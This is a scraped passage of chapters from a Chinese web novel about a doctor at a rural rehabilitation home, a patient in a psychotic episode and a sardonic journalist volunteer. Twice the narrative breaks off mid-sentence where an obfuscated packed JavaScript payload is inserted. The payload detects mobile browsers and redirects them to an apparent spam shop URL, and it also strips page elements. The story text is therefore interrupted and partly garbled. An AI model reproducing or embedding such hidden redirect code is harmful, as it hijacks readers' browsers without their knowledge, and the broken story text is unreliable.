所有人都站在离张清驰两米开外的地方等待他的下一步动作,只有呼延仿佛视若无物,完全不知道事态紧急一样。 张清驰带着红血丝的眼球快速颤了一下,愣愣看向呼延,下一刻果真露出一副做错事的模样,拿着刀的胳膊往后缩了缩。 “是、是她要害我……她要拿刀杀我。” 说着这句话,张清驰刀尖指向孙凤娇,手激动地哆嗦起来。 “没有。”呼延站在离张清驰两臂的距离,表情轻松,“她是削苹果呢,你看旁边地上,这里,是不是,削了一半了?还有苹果皮是不是?” 张清驰的眼神顺着呼延指的方向看过去,眼里带着疑惑,似乎在认真辨认这话的可信度。 呼延又慢慢往前挪了半步,“人家好心给你削苹果,你还为难人家,以后谁还敢和你玩。” 张清驰抬起头来,看着呼延,一双有些浑浊的眼睛瞬间泛红起来,“我不是故意的……” “我知道啊,我当然知道。”呼延提了提唇角,“我不信你信谁啊。” 从吴措的角度看过去,他只能看到呼延的半张侧脸,但他在很久以后的时间里都会记得这个画面。 下午三四点钟的太阳落在呼延的脸上,刀锋反射着太阳光落进她的眼里,她眉心轻微拧起,轻咽了口唾液,身体却向前一寸一寸倾着。 吴措很少能在一个人的脸上同时看到温柔和锋利这两种神态,他又想起从前反复从老友口中听到的关于她的那句话: 呼延温柔得像棵野草。 还真他妈的贴切。 “孙姨也知道是不是?”呼延偏偏头,冲着靠墙站着的孙凤娇使了个眼色。 孙凤娇立马应声,“对对,我就是给你削苹果,你不是喜欢吃不带皮的苹果么——” 孙凤娇边说着,脚步往前迈了一小步,只这一小步,张清驰原本平缓下来的情绪立刻激动起来。 “她要害我!她要害死我!” 水果刀锋利的刀尖直冲着呼延的脸颊就过去了,整个屋子的人全部倒吸了口气。 一直镇定的宋殊下意识往前挪了一脚,孙凤娇“啊”了一声后反应过来捂住了自己的嘴。 吴措站在门口的地方,他的心随着视线中的危机倏地提起来,没等反应过来,脚步已经先一步迈过去了,但没等走过去,被八哥拦了回来。 事情只发生在零点一秒的时间里,所有人只来得及作出自己下意识的反应,其实站在每个人的位置上,谁也都帮不上什么忙。 刀子快要划到呼延脸上的时候,张清驰像是接到什么信号似的,身体忽然抖了一下,动作停下来愣住在原地,看向呼延,做错了事似的肩膀慢慢缩起来,“对不起,对不起……” 方才的刀尖堪堪从呼延脸颊掠过去,呼延却从容地像是她主动迎向了刀锋。 她的眼皮眨得缓慢,口中安抚着张清驰:“没事的,没事,老张,你没碰到我。” 张清驰眼神呆滞地摇着头。 呼延声音轻而缓:“不用害怕,他刚才告诉我,他是和你开玩笑的,没人要害你。是不是?刀给我,我不会伤害你的,对吧?你问问他?” 张清驰的眼神朝空中看了一下,几秒钟后,他点了下头,紧绷的肩膀缓慢松懈下来。 “现在把刀给我好不好?”呼延说,“你现在安全了。” 张清驰望着呼延,举着刀的手慢慢放了下来。 呼延看着他双眼的神色,右手开始缓慢靠近水果刀,在快要接近的时候,快速夺过放到了自己身后。 她偏了偏头,八哥和封筝走过来将镇定剂注射到了张清驰身上,张清驰没有挣扎,药效很快作用,他躺在自己的床上缓慢闭上了眼睛。 这种事情在小院已经司空见惯了,处理好张清驰,八哥和封筝熟练去到另两个病房查看安抚。 孙凤娇准备趁着两人走的时候一道溜走,被宋殊喊住了,“孙凤娇,到我办公室来一趟。” 孙凤娇脸上讪讪,又回头看了眼张清驰,最后只得不情不愿跟着宋殊走了。 吴措在一侧帮忙做善后工作,他的视线不由自主地被呼延吸引过去。 为什么有宋殊这样的专业人士在前,张清驰却看起来只听呼延的。 吴措听八哥说起过张清驰的病。发病最初的起因是被同僚陷害篡改了实验数据又紧接着被举报,被停职以后教授职称也丢了,后来就开始陆续出现幻听和幻觉,脑海里有声音告诉他,有人想要害他。 被送进精神病院就是因为张清驰听从了脑海里声音的指挥,拿起烟灰缸扔到了“要害死他的”他老婆身上。 精神分裂并不是单一种类的疾病,病症表现上也有区别,有些病人外表上看完全和正常人没有区别,甚至发病时也不明显。 张清驰这种幻听幻觉属于常见的精神分裂病征,在精神病院清醒过来的时候,看到自己人不人鬼不鬼的样子,再看看旁边封闭压抑的环境,张清驰这种前半生荣光在身的人是受不了的,他和离婚后最后来探望的前妻请求带他出去,不然他就要死在这里了。 前妻和宋殊是手帕交,离婚后本来没有法律上的义务再管张清驰的事,但夫妻多年的情分还是让她软了心,卖人情把张清驰送到了宋殊这里。 “你们当医生的,都这么拼命吗?” 呼延刚从房间退出来,关上门,就听到身后吴措的声音,她转过头来,吴措正靠墙随意地站着,抱着胳膊看着她。 “害怕了?”呼延说,“现在走还来得及。” 她说着往楼下走,吴措跟着她,“我胆子有这么小么。不过——” 吴措说着快走两步超过了她,帮她打开护栏门,做了个请的姿势,“‘他’是谁?” 吴措注意到,呼延的双手握成拳头的形状,小幅度、但频率很快地放在腿侧抖动着。 这是一种偏向兴奋的情绪,在方才和张清驰交流时,呼延看起来十分专业熟练、游刃有余,但事情结束放松下来后,她的身体却反倒兴奋起来。 是因为在紧急和危险后肾上腺素急速上升的结果吗? 上次在刘敏秀店里,她面对王贲挑衅时也做出了类似的动作。 吴措的视线落在她的手上。 “谁?”呼延说。 吴措视线抬起,看向呼延,“你和老张说的,那个‘你问问他?’,是问谁?” 呼延转头看看他,眼皮耷拉着,“秘密。” 吴措刚要开口,经过二楼的时候,向晚星忽然跑了过来。 她这次没遮眼罩,露出一对漂亮的小内双,仍然穿着一条白色的裙子,跑起来的时候像只活泼的白色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“我是真的觉得她画得很有灵气,”吴措敛敛眉,上下扫视呼延,“原来你不是真心这么觉得的吗?” 呼延顿时被噎住了,嘴巴张了半秒,“少给我挖坑。”说完脚下加速往外走。 吴措笑得不行,跟上去,“你还没回答我问题呢。” “什么问题。”呼延装傻。 “‘他’是谁。”吴措给她递话。 “老天爷。”呼延说。 她听到吴措轻笑了一声,回过头来,“你不信?” “我信。”吴措抬抬眉,“你们这中西医结合医院,兼顾通灵神道,是个修道问仙的好去处。” 呼延白了他一眼,“呵。” “我不是说我信了么。”吴措笑笑,“不然怎么解释他只听你的呢。” 呼延回了回头。 张清驰来之后,只发过三次病,每次发病后,就只认呼延,只让呼延靠近。 要是问呼延,她自己也说不准两个年龄差了将近三十年的人是怎么成为忘年交的。 对于脑海中的声音,每个病人都有自己的说法,她以前见过幻听动画人物和自己说话的,会和动画人物叫老婆,但没做过什么偏激的事情,这种情况药都不用吃。 她和老张的交流里,统一把这声音叫作“他”,在老张的世界里,“他”是绝对的正义者,她因为能听到“他”的声音,也被老张划到了自己的战线里。 当然,也不是没别人尝试过这个法子,企图和老张聊一聊“他”,但老张说他们在放屁,把人统统赶走。 对于精神分裂病人来说,这种幻听通常起始于自我保护或自我精神的捍卫,很少能和另外一个人建立这种信任,谁也没法解释得清,怎么呼延的鬼话老张就买单了。 呼延有时候看着老张对着空气说话,她想,也许她真的听到了。 “爱信不信。”头发一甩大步扬长离开。 呼延走到宋殊办公室外的时候,就听到了里面孙凤娇抽搭着诉苦的声音,她大概能猜到里面在说什么,无非又是说起了孙姨那个早死的老公和一屁股的债。 说到这呼延又想起孙姨第一天来应聘的时候,刘姐刚好也在,宋殊得知两人的情况后还自嘲说叫什么桃花小院,干脆叫“寡妇院”得了。 呼延叹了口气抱着胳膊转身,被近乎紧贴在她身后的高大身影吓了一跳。 她掀起眼皮一脸不悦地看着三番五次吓到她的人,“你跟着我干嘛?” “你猜猜。”吴措瞧着她,慢悠悠说,“呼延半仙。” 11. 欢迎 “我为什么要跟着你的节奏走,”呼延抱着胳膊盯着吴措,“我、不、猜。” “那就不猜。”吴措说。 他就站在原地,继续俯视着呼延。 吴措的身高要比呼延高大半个头,平时离得远的时候还好,这会儿两人的距离也就只有不到半米,呼延看他还得半仰视着,完全削弱了她的气场。 呼延咬着牙撤了两步,“吴措,你这个人真没劲。” “没劲么,我觉得还行啊。”吴措表情松散地望着呼延。 呼延是发现了,和吴措拌嘴的下场就是把自己气个半死,对面还毫发无伤呢。 她决定不斗了,偃旗息鼓收兵了还不行嘛。 她本来是来找宋殊拿药的,她吃的药一直都是宋殊亲自配的,一周给她一次,刚好就还剩一顿了。 现在人快被气死了,还吃什么药呢。 呼延折身往回走,走了两步忽然发现吴措没再跟上她,抱胳膊倚在宋殊房间的墙外,一条腿交叉着另一条腿,头微垂着站在了原地。 这人。 听墙角还要摆个pose是吧。 呼延又折返回去。 “你们记者的消息都是这么来的是么?”呼延走上前说。 吴措眉骨抬了抬,“这不是你不让我跟么,只能在这待着了。” “偷听你还有理了?” 换来吴措一声笑,“还用偷听吗?孙姨对老张有意思是吧。” 呼延倒吸了口凉气。 这事她去年在封筝的提醒下才看出来的,吴措是怎么第一次见到就看出来的。 难道这就是记者的敏锐度吗? 害怕声音被里面听到,呼延把吴措拉到一边,两人走到呼延放躺椅的地方,吴措丁点儿不客气地自己坐下了。 “……”呼延磨了磨牙,最终决定还是以大局为重,“你怎么看出来的?” “用这里。”吴措两根手指头指了指自己的眼睛。 呼延:“……反正你就当没看出来,孙姨脸皮薄,好歹在这儿这么久了,走的时候留个面子吧。” “你们打算辞退她?” 呼延凉凉望他一眼,“你觉得不应该吗?” 吴措顿了顿,“出了这种事,辞退倒是合情合理的。就是我以为宋医生会网开一面。” “这你就不懂宋院长了,她平时温柔得很,遇到正事简直铁面无私,情面在她这是比不上人命的。当然,补偿是少不了的,她擅长做赔本买卖。” 吴措想了想,倒也很符合他对宋殊的印象,很专业也能果决。 不过想到呼延对宋殊的称谓,吴措又带着鼻音笑了声,“你平时就叫你妈宋院长啊。” “出于尊敬的时候这么叫。”呼延说。 这话不知道哪里戳到吴措的笑点了,他忽然低着头闷笑起来,肩膀抖得厉害,半晌后才直起身说:“呼延真,你怎么这么有意思呢。” 呼延脸又崩起来,“说了别叫我全名。” 叠着话音,宋殊办公室的门“吱嘎”一声响了下,孙凤娇推门走了出来。 她眼眶藏不住的发红,看到不远处站着呼延和吴措后,强自镇定地抹了抹脸,扯了个比哭还难看的笑,转身朝另一个方向走了。 “好,呼延医生,行了吧。” 吴措说着从躺椅上起身,再次朝宋殊的办公室方向走过去。 “你要干嘛。”呼延在他身后问。 “找宋院长。”吴措学着她的称呼,侧身回头冲她抬了下唇角,“不然你以为,我真的是在跟着你啊。” 吴措头也不回冲她摆了摆手,呼延感觉心里滚过十几头羊驼。 杀千刀的死吴措,你敢耍老子。 吴措敲门进了宋殊的办公室,宋殊正在整理桌上的文件,门一关上,她抬起头来看着吴措,“怎么样?今天过得还算精彩吗?” 宋殊的话音还没落,吴措的手机铃声忽然响了起来,吴措低眉看了眼,脸色骤然变了一下。 宋殊看着吴措的神色,说:“没事,你先接电话。” 吴措的视线没什么停留地从手机上移开了,随意地挂掉了这通电话,说:“没事,骚扰电话。” 他走到一侧的沙发坐下,接着宋殊方才的问题,笑了声:“挺精彩。” 宋殊没有置喙这通电话,她说:“那,还是打算走?” 吴措当时来的时候就说了自己不保证能待多久,志愿者这种事情本来就不是个长久工作,小院里的确缺人手,但寒假会有临时工过来,年后她也打算扩招,吴措过来就是补了这段时间的空缺。 但不补也就是再忙点,指望不了一个志愿者能立个什么翻天的功出来。 宋殊这个人主打一个随缘,她最初和吴措聊的时候就说了,先来试试,不能接受就及时和她说,人活着嘛,最重要的还是开心,别的都是其次。 结果第一天就出了张清驰和孙凤娇这个事,吴措不想待下去她也能理解。 不过吴措并没有打算和她聊这件事,他见过比这更恶劣的场面,一把刃都没开好的水果刀,不至于把他吓到劝退。 “有个人说过,吃了人家晌午的饭就得帮着干完下午的活。没有刚来就走的道理。”吴措说。 宋殊抬抬眉看他,开玩笑的语气说:“能说出这么有哲理的话,一定不是个普通人吧。” 吴措说:“我母亲。” “令堂果然也非同寻常。”宋殊微笑,“如果有时间可以请她过来玩一趟,枥城的山水还是值得一来的。” 吴措稍顿了一下,宋殊后来觉得,这一顿是为她顿的,吴措说:“我母亲去世了。” 宋殊和呼延真的反应倒不一样,她明显有抱歉的情绪,“不好意思。” “没事,已经很多年了。”吴措说,“不过如果我母亲在的话,她肯定很开心能在这住几天。这儿还挺有意思的。” “有意思?”宋殊见他表情如常,也笑了声,“行,你觉得有意思就行。有什么不懂的就问小方,哦就是八哥,呼延这小混蛋就喜欢给人起外号。哦对了上午你跟着她出去,她没捣什么乱吧?” 吴措想到那个叫王贲的,心说差点没招惹个大乱子出来,他耸了耸肩一笑,“没有,相安无事。” 宋殊了解自己闺女,吴措什么都没说,也算留了面子。 “我过来是想找你请个假,”吴措这才把话拉回正题。 “哦可以。”宋殊答应得很干脆,“休假找小方打个招呼就好,我们这没这么严格。” 她又随口一问:“打算去周边转转?来这以后还没好好在枥城逛过吧。” 吴措抬了抬肩膀,“还没想好,只是方岛说有这么个假期,不用白不用。” 宋殊笑起来,“确实。趁着这两天不算忙,你找小方给你当个导游好好出去玩一圈儿。” 两人又聊了两句,吴措从宋殊办公室离开。 刚走没两步,吴措看到树后面一个身影鬼鬼祟祟的,他装着没看见,径直朝宿舍方向走。 快绕过门廊的时候,脚下忽然被一团柔软的东西绊住,低头一看,正是前一天见过的小胖猫。 猫扒着他的裤腿转圈,肚子圆滚滚的,一条毛茸茸的尾巴翘得老高,左右使劲摇摆着,吴措蹲了下来,“我今天身上没带吃的啊,夜宵。不过我那还有没吃的鸡胸肉,你要跟我回去吗?” “夜宵不吃鸡胸肉!”身后脚步声“咔哒咔哒”走近,呼延一把薅起夜宵的脖子,把小胖猫当空转了个圈抱进自己怀里,“肥猫减肥呢,闲杂人等不要乱喂。” 吴措手指头揉了揉夜宵的耳朵,“我又成闲杂人等了?” “你不是要走了么,不是小院的人,在这里就是闲杂人等。”呼延说。 “偷听啊。”吴措说,“不过你这墙角听得也太没水平了,谁说我要走了?” 呼延身体往旁边一歪,把刚开始打呼的夜宵带离吴措的触摸范围,“我才没有偷听呢,我是合理猜测!像你这种没吃过苦的少爷,适应不了我们这儿的节奏,早点走也好。” 吴措收回手,笑了下,抱着胳膊往后靠在走廊柱子上,“那恐怕要让你失望了,我没说要走。暂时不走。我这张没吃过苦的少爷脸,你还要再看上一段时间。” 他原本是觉得自己真没在这待下去的必要的,在得知呼延新男友的事后。 但这个想法在他心里没停太久,他最终还是决定在这待待看。 一来是因为他没有做什么事半途而废的习惯,二来,这里真的挺有意思的,每天发生的事有意思,人也有意思。 呼延想了一下,抬眼看他,“没失望。” 吴措对上她的视线,“什么?” 呼延低头捏着夜宵的脸揉了两把,直到夜宵开始不爽张嘴轻咬了她一口,她才抬起头来,“说实话,没什么失望不失望的。我确实没那么喜欢你,但也没一开始那么反感了。” 呼延这人的确容易先入为主,一开始就带着对吴措身份的偏见看他不顺眼,琢磨着怎么把人赶走。 但她也不是个看什么事都一成不变的轴脑子,不管是吴措对小院里人的态度,还是关于他曾经亲手把自己亲爹送进去的传闻,呼延开始慢慢觉得,这个人也许没那么讨厌。 但同时,也确实和她不是一个世界的人。 吴措头回听到有人把这种话当着面说出来的。 呼延的话永远不怎么好听,但他不知道为何,听起来很舒服。 吴措:“那我还得谢谢你?” “倒是不用。”呼延说,“不过,欢迎你来小院。” 吴措笑了声,“好及时的欢迎仪式。” 呼延扯着嘴角,语气平常,“我会尽量不带偏见去看你,希望你也能好好对待在小院的一切。” 说完没再等吴措说什么,抱着夜宵走了。 呼延的背影在傍晚的夕阳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14432199|153914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中拉长,最后消失在天蓝色的铁栅栏门口。 吴措没有解释的兴趣,呼延估计也懒得听。 他低头看了眼通话记录里红色的一串号码,神色敛了敛。 再过几天就是大暑了,枥城四季不明显,但枥城以外还是照常的春夏秋冬。 他还有他要做的事,即使不是现在。他应该在夏天彻底结束前就会离开。 · 晚饭后呼延把星星的画送到了老张房间,老张很喜欢,找呼延要了胶带贴在自己床对面的墙上。 三楼的房间都很空荡,为了安全没有多余的家具和摆饰,一整个屋子里全是无聊的白色,星星的画给老张的房间带来了鲜艳的生命力,像是乌云密布下忽然泄露出的一道七彩的光。 呼延回到自己的房间,习惯性地打开电视当做背景音,她坐到沙发上准备给陆离发微信说今天的事儿。耳后忽然传来一阵温热的气息。 “我跟你说我今天……” 熟悉的声音念着呼延打字的内容,呼延被这突如其来的动静吓了一大跳,猛一回头,对上了近在咫尺陆离的脸。 “你怎么来了!”呼延又惊又喜,手机直接扔掉,两条胳膊一把揽住陆离的脖子。 陆离顺着呼延的动作坐到沙发上,任由呼延像个树袋熊似的挂在他身上,他将呼延垂到脸颊的刘海挂到耳朵上,声音轻柔,“拍摄任务刚好经过。想我了吗?真真。” 呼延撇撇嘴,“不想。” 陆离每次都来去匆匆,一消失动辄就是一两个星期,虽然她知道自己应该识大体一些,理解他的工作性质,但还是忍不住朝他撒娇耍小脾气。 “可我想你了。”他抚着呼延的后脑,靠近轻吻在她的额顶。 呼延鼻子一下子就酸了,当即眼圈瞬间红起来,“陆离……” 陆离轻哄着她,捏了捏她鼓起的脸颊,“晚上哭的话,明天眼睛会肿得很丑哦。” 呼延抽了抽鼻子,眨眨眼睛看着他,“要不你辞职吧,我偷我妈钱养你。” 陆离被她逗笑了,“上次还说捡垃圾养我,现在直接对抗上法律啦,进度突飞猛进,直上云霄啊真真同学。” “你说过我的话就是圣旨嘛,我命令你,乖乖听话!” “那我也只能遵命了。”陆离顺着她的话说。 呼延知道他是在玩笑,撇撇嘴,“这次拍摄给的钱多吗?” 陆离看着她,点点头,“嗯,很多。” “那就好好做吧。”呼延望着陆离,“赚很多很多钱,然后我们就结婚。” “好啊。”陆离说。 “奇怪,你怎么不说我不害臊,自己主动提结婚的事。” 陆离捏了捏她的脸,顺着她说:“嗯,不害臊。” 陆离又捧着她的脸,轻吻了下她的额头,“不管是正式还是非正式,这种话应该我来说的。真真,等我赚够很多很多钱,我们就结婚。” 呼延又有些鼻酸,但这次她憋回去了,“其实也不需要很多很多钱,我花不了那么多,你别太辛苦了。” 陆离的样子比她上次见他时又瘦了一些,他的眼眶下有不太明显的青紫色黑眼圈,看起来有些疲惫。 她一直知道陆离在摄影之余还会接一些程序外包。他的家境不是很好,从小地方考到大城市已经很不容易,程序员这种相对来说高收入的工作对他来说已经是优解。 可她说服了他放弃当初的高收入,成为没有固定工作的摄影师,这对他来说真的是好的吗? 呼延望着陆离的眼睛,嘴唇动了两下,陆离好笑地揉了揉她的头发,“我没有那么辛苦,拍拍照而已,是我想做的事情。要看看我最近拍的东西吗?” 对,当初就是这个原因。 是陆离想做的事情。 计算机只是陆离谋生的途径,他喜欢摄影。小的时候没什么资格选自己喜欢做的,长大了才能挺起脊梁自己做选择。 呼延想到这里,又真心为陆离开心起来。 呼延二手淘来的电视机里播放着越剧梁山伯与祝英台,二人在桥边十八相送,呼延看着陆离传送到手机里的他拍摄的相片,事无巨细地询问他每个画面背后的故事。 他们的声音逐渐淹没于电视机咿呀的唱作声中。 兴许是白天事情太多,没看多一会儿,呼延困倦得眼皮差点抬不起来,她抱着陆离的胳膊蹭了蹭,抬眼望着他,“陆离,你真好看。” “你最好看。”陆离抬手轻刮了下她的鼻子,“困了?” 呼延对抗着身体的本能努力睁起眼睛,她就想一直这样看着陆离,没完没了地看。 她的声音轻浮于空中,飘得像烘干了的羽毛似的还在嘴硬,“不困……” 陆离摸着呼延的头发,温柔细致地像是在抚摸一只小猫,“困了就睡吧。” “嗯……”呼延意识完全朦胧,眼前困得重影儿。 “陆离……关电视吧。” 12. 慕强 晚上吴措又跟着八哥查了一圈房,结束后时间将近九点。 村子里普遍作息早,吴措一个人离开小院沿着村子转了一圈,几乎每家都熄了灯,一两户民宿还开着,动静不大。夜空里月亮明得澄澈,村里没有路灯也照样看得清路。 安静是独属于小村庄的浪漫,吴措沿着村庄一路走过来,周围只有簌簌的风吹树叶声和丝丝虫鸣。 回到小院后,各屋也早已熄了灯,院子中央放着太阳能的小夜灯,光线蒙昧,周围绕着一圈飞虫。 吴措的房间在小二楼中央一间,从楼梯上去经过过道,吴措瞥见他隔壁靠着走廊尽头的房间还开着灯,光线从门缝里泄露出来。 白天八哥给他介绍过,这是呼延的房间。 已经十点多了,里面还开着电视放着什么,吴措没听清,也没在意,径直走向自己的房间。 十点钟对吴措来说时间还早,洗漱后他将衣服从行李箱里拿出来,依次挂起来,几件压出褶的衬衫用挂烫机熨了一遍,最后拿出电脑坐到桌前。 想起白天的事,开始搜索起桃花小院。 关键字刚输入进去,隔壁传来一阵笑声,混在咿呀的电视声中,有些分不清明的朦胧感。 是呼延的笑声。 他没听呼延笑得这么开心过,墙壁隔音有限,以至于他可以听到呼延层次渐深的笑,但听不清她说话的内容,这让他分不清呼延是在对着电视作评论,还是在打电话,或者是她的房间里有另外一个人。 当他意识到他的屏幕停留在搜索界面过久的时候,隔壁已经听不到呼延的声音了,只有电视机还在固执地响着。 定了定神,吴措继续做自己的事情。 点击搜索,前排跳出来的都是些和小院无关的新闻,吴措浏览器翻了五六页才找到他想找的东西。 是一个两年前的帖子,主页挂着一个链接,点进去是篇公众号文章: 《实访L城某疗养院:全员有病!!!》 文章一共两千来字,前一千五百字都带着丰富的感叹号来抒发这个疗养院有多“有病”。 按照笔者的话来说,就是:医生狂躁易怒,院长装瞎包庇,员工精神状态堪忧,一圈下来病人才是最正常的。 公众号是转载,原文章已经被举报下架。 整篇文章看起来没头没尾,但很会调动人情绪,引来很多乐子人围观。 在这个帖子下,有大半人觉得是绿贴,也有一些人慕名想找原作者询问想来看看这个全员有病的疗养院是什么样的。 吴措注意到,有一个昵称叫作Hu的人连发了三条几乎同样的留言: “@吧主,不实信息已举报,请尽快受理。” “@吧主,这帖子胡说八道,举报了,什么时候删??” “没人管吗?这帖子是假的。” 但没人理她。 从最新贴看出来,贴吧不久后就长草了,无人管理,这也是这贴能留到现在的原因之一。 吴措坐在椅子上,一条腿搭着椅子脚撑,椅子已经够高了,他的腿依然高出一截半曲出了个角度。 他的手指在桌面上随意敲了几下,几秒钟后,吴措坐直在键盘上开始打字,把贴吧链接发给了熟悉的媒体人。 附了句话:麻烦帮我查一下公众号的记者现在在干嘛。 他没有多管闲事的爱好,只是因为他想,如果他当时没有失约的话,他应该会在那个记者来之前就来了小院,也许就没有这回事了。 吴措只能这样来解释自己这个吃力不讨好的行为。 但没过半小时,吴措躺在床上翻来覆去睡不着的时候,就开始后悔自己干嘛狗拿耗子了。 作为被他狗拿耗子的对象,呼延并没有让他好过的意思——隔壁电视机的动静实在是太大了! 在电脑前的时候还好,这会儿躺在床上,他的床紧贴着靠近呼延房间的那面墙,电视里的声音就像是贴着他耳朵边放似的。 吴措本来就对入睡环境敏感,有丁点动静都睡不着,这下彻底不用睡了。 他拿起手机看了眼时间,凌晨一点半。 夜猫子是吧。 吴措枕头蒙着脑袋试图催眠自己。 半小时后,一双已经失去神采的眼睛在黑夜里慢慢睁开。 睡不着。 真睡不着。 吴措闭了闭眼睛,从床头抄起本书朝墙上敲了两下。 没用。 他这辈子第一次这么真实地体会到一个叫做“无能狂怒”的词。 …… 呼延这一觉睡得很踏实安稳,以至于陆离留下短信在清晨离开的时候,她都丝毫没有听到动静。 起床的第一件事,呼延将正对着院子的窗帘拉开,底下已经陆续有起得早的人遛弯回来了,呼延打开窗子朝底下打了个招呼,又伸了个懒腰,长长吸了口窗外清新的空气。 一系列预备动作完成后,呼延这才拿着洗漱用具打开门准备朝洗漱间走。 可门刚一打开的时候,呼延就被斜靠在她门框上的人吓了一大跳。 “吴措你有什么毛病啊?每天早上例行堵在人门口吓人是吧?”呼延捂着心脏冲吴措嚷嚷。 吴措一手拿着个牙缸,一手攥着把牙刷,嘴角还挂着点牙膏泡沫,头发凌乱得完全没了前两天的精英形态,两颗无神的眼珠子底下挂着两道青紫色眼袋,一晚上没睡觉似的。 呼延敢说,吴措要是这副样子去刘姐饭馆吃饭,绝对不会被当成冤大头宰。 顶多当成冤死的鬼。 吴措面无表情,声音里不带半点腔调,“开着电视睡觉是呼延医生的特殊癖好吗?” 呼延回头,房间里电视明明关得好好的。 “你别找茬。”呼延说。 牙都没刷完就跑过来找事,真是病得不轻,如果不是昨晚陆离过来,她现在心情愉悦,指定要和吴措吵一顿。 不过她大人有大量,不愿意和他计较,于是冲吴措白了一眼就准备往外走。 谁知道这位完全不识趣,长腿一迈把她堵在了门口。 “给个说法。”由于困倦,吴措的声音里带着懒散,眼皮都没能完全抬起来。 “什么说法。”呼延抱着盆乜他一眼。 “昨天晚上,我一晚上没睡着。”吴措眼皮半睁不睁的,看着像要吃人似的。 呼延就有点不明白了,“神经衰弱?要药方找宋医生要,我半吊子水平开不来。” 说完又准备往外走,吴措将牙具随手放到窗台,直接倾身摁着她的肩膀将她贴在了墙上,手肘轻抵着她的肩胛骨,居高临下的气势,俯视着她。 这么近的距离,呼延能闻到他口中淡淡的薄荷牙膏味道。 抬眼仔细看,额前还挂着湿哒哒的碎发。 早上根本来不及收拾,他身上穿了件宽松的半袖和长裤,肩膀既宽且平,袖口下半露不露着紧实的肌肉,比她还要白一度的皮肤泛着瓷器似的光。 和他对视了两秒,呼延终于再次忍不住了,“学偶像剧是吧?有病就治。” 吴措嗤了一声,“你说什么。” “如果你想用这种烂俗的理由接近我,那我劝你早点死心。”呼延握着脸盆边缘用力向吴措腹部撞了一下,离开被他控制住的空间,“我不吃这套。” 吴措是真的被无语笑了,一晚上没睡的燥气这会儿反倒负负相抵,他此刻心情已经平静如水,抱着胳膊扫视着呼延。 “我要是不死心呢。” ? 没底线还有理了? 脸皮厚的见过不少,但比她还厚的还真是少见,呼延一时不知道该怎么回应了。 吴措看着呼延大脑卡壳似的表情,说:“你昨天晚上,和谁说话呢。” “关你什么事。”呼延下意识就呛他。 说完又想了想,轻咬了下嘴唇,下巴一抬,“我男朋友啊。” “你男朋友?”吴措似乎很感兴趣,偏头朝呼延房间了瞥了一眼,“人呢?还没起床?” 他抬手看了看时间,“快九点了。” “九点又怎么了。”过道不宽,呼延伸手把吴措拨开,“他起得比你早多了。” 说完没等吴措回应,呼延抱着盆快速下楼。 二楼也有洗漱间,但看吴措的样子估计也会跟着过去洗漱,呼延干脆跑到了楼下。 越跑越觉得无语,虽说霸王餐那事是她有误解,但该说不说她的第一直觉还是对的,吴措这人就是披着人皮的衣冠禽兽。 明明知道她有男朋友还蓄谋接近,不该叫吴措,应该叫吴道德吴底线! 一路腹诽走到楼下,就看到了院子里带着几个病人练五禽戏的封筝,呼延老远朝她打了个招呼。 “早啊,查完房了?” 封筝抬头,喊住匆匆走着的呼延,“等一下,有个事和你说。” 楼上,吴措从窗台上拿起牙具,去洗漱间漱了口,又接了凉水扑了一把脸。 镜子里他的头发有几撮翘起,洗手台上看了眼,记起没拿吹风机,吴措收拾好洗漱用具准备折回房间。 过道上再次经过呼延的房间,她的房门半开着,留着很宽的一道缝,吴措觉得他不该往里看,但在即将经过的最后一秒,他的视线还是飘过去了一瞬间。 单人床的床尾处放着一张宽大的沙发床,上面放着一张黑白条纹的毯子,半掀着,有很明显的褶皱。 吴措眼皮垂了垂,回到了自己的房间。 “孙姨吵着不肯走?”呼延听完封筝的话说。 封筝和呼延到了院子里的大树下边,仍然跟着音乐做着熊戏八式,“早上兰姨做饭的时候,孙姨悄么声地就像个没事人似的加入了,兰姨也不知道怎 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正说着的时候,广播里五禽戏的音乐切换到了鸟戏,封筝喊呼延也起来跟着动一动,别整天像个乌龟似的就知道窝在椅子里。 呼延二郎腿晃荡着,“养生之道,在静不在动,你看香香女士,平时喝茶养花,身体不是比谁都强。” “香香女士是谁?” 呼延头抵着躺椅边缘,脑袋仰着往后一瞧,吴措正站在她身后。 他换了身衣裳,戴回了他那副相当斯文败类的细金属框眼镜,垂首看着她。 呼延快笑烂了的脸收起来,淡淡瞥他一眼,“香香女士啊,是小院里最漂亮优雅的女人。” 吴措前一天和八哥一起查了一圈的房,印象里不记得有一个叫作香香的病人。这里的医生和理疗师、护工就那几个,没人名字里有“香”这个字。 排除完,就只有像孙凤娇一样的后勤人员了。 刚想再问什么,八哥从B栋走出来,看到吴措后小跑过来,“走走走,跟我走。” 封筝看着八哥,“干嘛去?” 八哥晃了晃手里的空桶,“装泉水。” 灵沧山底下有个泉眼,里面的泉水清甜甘冽,桃源村几乎所有村民都去那打水喝。 封筝视线又落在八哥手里的两个桶上,八哥知道她想什么,把一个桶递给吴措,先一步说:“我带吴措踩踩点。” 封筝看了他一下,“嗯”了声,“早去早回,一会儿还有个活动。” 吴措接过塑料桶,他拎的这个比八哥手里的只大不小,但这桶在他手里就很没有存在感,像是件水桶形状的装饰品似的。 吴措这人拥有一种很容易让人把视线移到他眼睛上的能力。 平心而论,在呼延的审美中,吴措长得算上乘货色,所以她和封筝吐槽吴措的时候,偶尔会突然滋生一种小女生的虚荣的。 有点像上学时候隔壁班草写情书过来被班主任拦住,她虽然羞恼,但听到整个班发出“哇”的一声时,心底还是有种被短暂胀满的感觉。 呼延就那么瞄了吴措一眼,视线就和他对上了。 